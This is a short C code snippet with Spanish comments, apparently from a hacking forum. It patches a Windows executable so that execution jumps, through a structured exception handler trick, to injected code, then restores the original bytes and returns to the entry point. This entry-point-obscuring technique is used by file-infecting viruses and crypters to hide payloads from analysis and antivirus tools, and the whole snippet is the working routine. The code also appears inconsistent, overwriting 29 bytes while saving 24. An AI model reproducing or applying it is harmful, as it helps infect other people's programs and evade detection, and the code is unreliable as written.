Código: Seleccionar todo
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://foro.eduhack.es
//Descripcion:
//No cambia el EntryPoint, modifica los 24 primeros bytes a donde
//apunta en EntryPoint por un codigo que salta a donde queremos
//modificando el seh y provocando una excepcion
//lpFileMaped: Puntero al archivo mapeado en memoria
//NewEP: Direccion a la que queremos redireccionar (raw)
//FreeZone: Dirección espacio libre donde podemos
//escribir (al final de la sección generalmente)
////////////////////////////////////////////////////////////////
VOID RedirectEP(LPSTR lpFileMaped,DWORD NewEP,DWORD FreeZone)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INTH;
PIMAGE_SECTION_HEADER ISH;
BYTE ret=0xC3;
WORD movdwordptr=0x05C7;
IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
//Devuelve el numero de la sección ejecutable
DWORD ExecutableSection=GetExecutableSection(lpFileMaped);
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*ExecutableSection];
//RvaToOffset devuelve la posición en disco de una dirección virtual
DWORD rOEP=RvaToOffset(INTH->OptionalHeader.AddressOfEntryPoint,ISH,INTH->FileHeader.NumberOfSections);
DWORD vOEP=INTH->OptionalHeader.AddressOfEntryPoint+INTH->OptionalHeader.ImageBase;
//Damos permisos de escritura a la sección
ISH->Characteristics=0xE0000020;
//Dirección a dónde debemos saltar
DWORD NEP=ISH->VirtualAddress+(NewEP-ISH->PointerToRawData);
NEP=NEP+INTH->OptionalHeader.ImageBase;
//Leemos lo que hay en los 24 primeros bytes a los que apunta el EntryPoint
LPSTR OrigBytes=(LPSTR)malloc(24);
CopyMemory(&OrigBytes[0],&lpFileMaped[rOEP],24);
/*
Éste codigo en asm salta a 00402000 modificando el seh y provocando una excepcion
By Shaddy
push 00402000
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
xor eax,eax
mov ecx,dword ptr ds:[eax]
*/
//Guardamos el codigo de arriba pasado a opcodes
BYTE push=0x68;
DWORD Ex1=0x0035FF64;
DWORD Ex2=0x64000000;
DWORD Ex3=0x00002589;
DWORD Ex4=0xC0330000;
DWORD Ex5=0x9090088B;
LPSTR ExCode=(LPSTR)malloc(24);
CopyMemory(&ExCode[0],&Ex1,4);
CopyMemory(&ExCode[4],&Ex2,4);
CopyMemory(&ExCode[8],&Ex3,4);
CopyMemory(&ExCode[12],&Ex4,4);
CopyMemory(&ExCode[16],&Ex5,4);
//Reemplazamos los 24 primeros bytes a los que apunta el EntryPoint por un saltoa nuestra direccion
//usando el seh
CopyMemory(&lpFileMaped[rOEP],&push,1); //
CopyMemory(&lpFileMaped[rOEP+1],&NEP,4); // push NuestraDireccion
CopyMemory(&lpFileMaped[rOEP+5],&ExCode[0],24);
//Ponemos instrucciones en el espacio libre para restaurar los bytes que modificamos
for(DWORD i=0;i<6;i++)
{
CopyMemory(&lpFileMaped[FreeZone],&movdwordptr,2);
CopyMemory(&lpFileMaped[FreeZone+2],&vOEP,4);
CopyMemory(&lpFileMaped[FreeZone+6],&OrigBytes[4*i],4);
FreeZone=FreeZone+10;
vOEP=vOEP+4;
}
vOEP=vOEP-24;
//Ponemos instrucciones al final de la zona libre para saltar al OEP
CopyMemory(&lpFileMaped[ISH->PointerToRawData+ISH->SizeOfRawData-6],&push,1); //
CopyMemory(&lpFileMaped[ISH->PointerToRawData+ISH->SizeOfRawData-5],&vOEP,4); // push OEP
CopyMemory(&lpFileMaped[ISH->PointerToRawData+ISH->SizeOfRawData-1],&ret,1); // ret
}